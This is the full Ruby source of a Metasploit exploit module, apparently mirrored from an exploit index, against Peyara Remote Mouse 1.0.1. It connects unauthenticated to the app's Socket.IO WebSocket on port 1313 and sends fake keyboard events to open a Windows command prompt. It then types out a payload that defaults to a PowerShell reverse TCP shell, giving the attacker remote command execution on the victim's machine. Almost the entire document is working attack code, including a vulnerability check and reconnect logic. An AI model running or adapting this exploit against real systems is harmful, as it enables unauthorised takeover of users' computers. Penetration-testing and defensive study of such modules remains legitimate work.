## https://sploitus.com/exploit?id=MSF:EXPLOIT-WINDOWS-MISC-PEYARA_REMOTE_MOUSE_RCE-
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Rex::Proto::Http::WebSocket
prepend Msf::Exploit::Remote::AutoCheck
# Engine.IO / Socket.IO packet types exchanged as plain WebSocket text frames.
# See: https://socket.io/docs/v4/engine-io-protocol/ and
# https://socket.io/docs/v4/socket-io-protocol/
ENGINEIO_OPEN = '0' # Engine.IO OPEN (handshake) packet
ENGINEIO_CLOSE = '1' # Engine.IO CLOSE packet
ENGINEIO_PING = '2' # Engine.IO PING packet
ENGINEIO_PONG = '3' # Engine.IO PONG packet
SOCKETIO_CONNECT = '40' # Engine.IO MESSAGE (4) + Socket.IO CONNECT (0)
SOCKETIO_EVENT = '42' # Engine.IO MESSAGE (4) + Socket.IO EVENT (2)
# Fixed delay (seconds) after launching the command prompt, giving the
# window time to appear before keystrokes are typed into it.
WINDOW_DELAY = 1.0
# Peyara serves a single Engine.IO session at a time and keeps a dropped one
# alive until its ping timeout, so a fresh connection can briefly fail to get
# the OPEN frame. Retry the connect until the previous session is released.
CONNECT_RETRIES = 10
CONNECT_RETRY_DELAY = 3
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Peyara Remote Mouse 1.0.1 Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits an unauthenticated remote code execution vulnerability
in Peyara Remote Mouse 1.0.1. The application exposes a Socket.IO
WebSocket service on TCP port 1313 and accepts unauthenticated keyboard
input events.
The module sends keyboard events to open the Windows command prompt and
type a Metasploit command payload, allowing arbitrary command execution
in the context of the user running Peyara Remote Mouse.
},
'License' => MSF_LICENSE,
'Author' => [
'tmrswrr' # Vulnerability discovery, original PoC, and Metasploit module
],
'References' => [
['URL', 'https://github.com/capture0x/Peyara'],
['URL', 'https://peyara-remote-mouse.vercel.app/']
],
'DisclosureDate' => '2025-05-30',
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Privileged' => false,
'Targets' => [
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 1313,
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp',
'WfsDelay' => 10
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [SCREEN_EFFECTS, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Base path for the Socket.IO endpoint', '/']),
OptFloat.new('KEY_DELAY', [true, 'Delay between keyboard events in seconds', 0.06]),
OptInt.new('WS_TIMEOUT', [true, 'Timeout for WebSocket operations in seconds', 5])
]
)
end
def recv_wstext(wsock)
frame = nil
begin
# TODO: R7 engineers may want a pattern that avoids the Timeout API here.
::Timeout.timeout(datastore['WS_TIMEOUT']) do
frame = wsock.get_wsframe
end
rescue ::Timeout::Error
return nil
end
return nil unless frame
frame.unmask! if frame.header.masked == 1
frame.payload_data.to_s
end
# Performs the Socket.IO namespace connect handshake on an open WebSocket and
# returns true once the server acknowledges with a CONNECT packet.
def socketio_connect(wsock)
wsock.put_wstext(SOCKETIO_CONNECT)
3.times do
frame = recv_wstext(wsock)
next if frame.nil?
wsock.put_wstext(ENGINEIO_PONG) if frame == ENGINEIO_PING
return true if frame.start_with?(SOCKETIO_CONNECT)
end
false
end
# Close the Engine.IO session before dropping the socket. Without the explicit
# CLOSE packet the server keeps the session alive until its ping timeout, which
# blocks the next connection (for example check() followed by exploit()).
def close_session(wsock)
return unless wsock
begin
wsock.put_wstext(ENGINEIO_CLOSE)
rescue StandardError
nil
ensure
wsock.wsclose
end
end
def send_event(wsock, event, data)
wsock.put_wstext("#{SOCKETIO_EVENT}#{JSON.generate([event, data])}")
Rex.sleep(datastore['KEY_DELAY'])
end
def press_key(wsock, key)
send_event(wsock, 'key', key)
end
def open_command_prompt(wsock)
send_event(wsock, 'edit-key', { 'key' => 'escape', 'modifier' => ['control'] })
Rex.sleep(0.5)
%w[c m d enter].each do |key|
press_key(wsock, key)
end
Rex.sleep(WINDOW_DELAY)
press_key(wsock, 'enter')
Rex.sleep(0.5)
end
# Open a fresh Engine.IO session and return the socket once the server sends
# the OPEN frame, retrying while a previous (still lingering) session blocks it.
def open_socketio_session
CONNECT_RETRIES.times do |attempt|
# connect_ws issues the upgrade through send_request_raw, which does not
# render vars_get, so the Engine.IO query has to live in the request URI.
wsock = connect_ws('uri' => "#{normalize_uri(target_uri.path, 'socket.io/')}?EIO=4&transport=websocket")
return wsock if recv_wstext(wsock)&.start_with?(ENGINEIO_OPEN)
close_session(wsock)
Rex.sleep(CONNECT_RETRY_DELAY) unless attempt == CONNECT_RETRIES - 1
end
nil
end
def check
wsock = open_socketio_session
return CheckCode::Safe('The service did not return the expected Socket.IO open frame') unless wsock
# An Engine.IO open frame alone is common to any Socket.IO service, so also
# require a successful Socket.IO namespace connect to reduce false positives.
return CheckCode::Appears('The service completed a Socket.IO namespace connect handshake') if socketio_connect(wsock)
CheckCode::Detected('An Engine.IO service is present but did not complete the Socket.IO connect handshake')
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
CheckCode::Unknown("WebSocket connection failed: #{e.message}")
ensure
close_session(wsock)
end
def exploit
print_status('Connecting to the Socket.IO WebSocket endpoint')
wsock = open_socketio_session
fail_with(Failure::Unreachable, 'The service did not return the expected Socket.IO open frame') unless wsock
fail_with(Failure::UnexpectedReply, 'The Socket.IO namespace connect was not acknowledged') unless socketio_connect(wsock)
print_status('Opening command prompt through remote keyboard events')
open_command_prompt(wsock)
command = payload.encoded
print_status("Sending payload command (#{command.length} bytes)")
# Type the command one character at a time. Batching characters into a single
# "key" event makes the target collapse repeated keys (e.g. "ll", "dd") and
# garble bursts; one event per character (space included, as a literal " ")
# is what types the payload reliably.
command.each_char { |ch| press_key(wsock, ch) }
Rex.sleep(WINDOW_DELAY)
press_key(wsock, 'enter')
handler
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
fail_with(Failure::Unreachable, "WebSocket connection failed: #{e.message}")
ensure
close_session(wsock)
end
end